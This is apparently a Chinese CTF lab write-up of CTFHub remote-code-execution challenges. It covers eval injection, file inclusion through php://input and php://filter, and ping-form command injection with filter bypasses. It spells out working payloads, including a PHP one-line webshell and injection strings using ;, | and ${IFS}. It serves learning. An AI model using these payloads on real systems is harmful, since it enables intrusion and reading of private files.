RCE
了解eval执行和Linux基本指令。
- 网址后缀传参:/?cmd=system(”ls /”); 切记不要漏掉分号,目的:打印根目录。
- 发现有flag_1206文件,再传参:/?cmd=system(”cat /flag_1206”);
- 得到flag。
- 允许被包含的文件以.php格式执行。
- 先包含shell.txt文件,以file传参。
- 再利用ctfhub传参,打印根目录。
- 代码
http://challenge-c5dcdd07e0d1b80a.sandbox.ctfhub.com:10800/?file=shell.txt&ctfhub=system("ls% /");
回显目录。
- 当我分两次传参时,无回显。
http://challenge-c5dcdd07e0d1b80a.sandbox.ctfhub.com:10800/?file=shell.txt;
http://challenge-c5dcdd07e0d1b80a.sandbox.ctfhub.com:10800/?fctfhub=system("ls /");
- <eval执行>套路
http://challenge-c5dcdd07e0d1b80a.sandbox.ctfhub.com:10800/?file=shell.txt&ctfhub=system("cat /flag");
- 按页面代码提示,phpinfo.php文件作参数提交上去。
http://challenge-b31895ee676f579a.sandbox.ctfhub.com:10800/?file=php://phpinfo.php;
- 跳转。再访问/?file=php://input 网址(注意:不加分号)。burp抓包,改GET为POST, 在文件内容区写一句话木马:
<?PHP system("ls /"); ?> # 注意:这里的PHP如果不大写不生效。
- send, 回显根目录。
- 重复第二步骤,只不过一句话木马改为:
<?PHP system("cat /flag_3305"); ?>
- get the flag!
- 网址后缀/?file=php://filter/resource=/flag回车,回显flag。
- 访问/?file=php://input 网址,回显正常网页,存在文件包含。
- php://input 套路。
- 输入:0.0.0.0 | ls 点击ping, 回显目录。
- 输入:0.0.0.0 | cat 34950294253.php 点击ping, 回显:
<pre>
Array
(
[0] => <?php
)
</pre>
- 查看网页源代码,被注释掉的flag。
- <命令注入>套路,只不过将cat命令改为head flag_34950294253.php, 只显示文件的前十行。
- cat<a.txt 实现:打印文件内容到终端。
输入 0.0.0.0;cat<flag_27796338222712.php 然后点击ping。
- 查看网页源代码。
- 由于ls发现有文件flag_is_here,不像文件,倒像一个文件夹。
输入 ;cd flag_is_here;ls // ; 起到拼接命令的作用。
回显目录。
- 输 入 ;cd flag_is_here;cat flag_129320423.php 点击ping
- 查看源代码,得到flag。
- 也就是说&, | 等一些运算符不能用。
- 使用 ; 来代替。
- <过滤空格>套路。
- 查看网页源代码,发现 | & ;空格 / cat flag ctfhub均被过滤。
- 添加网址后缀:
?ip=127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0ahead${IFS}<fl$*ag_61873105619223.php#
含义:
%0A 换行
%0D 回车
${IFS} 空格
$* 空
- 查看网络源代码,得到flag。
不解
: 这个过滤发生在前端还是后端呢?%0a是被url解析为换行符的,我在文本框中输入则无效,为什么一定要在url后缀输入呢?难道是这个我发送的url只有到服务器才会被解析吗?到后端才会被解析为换行符?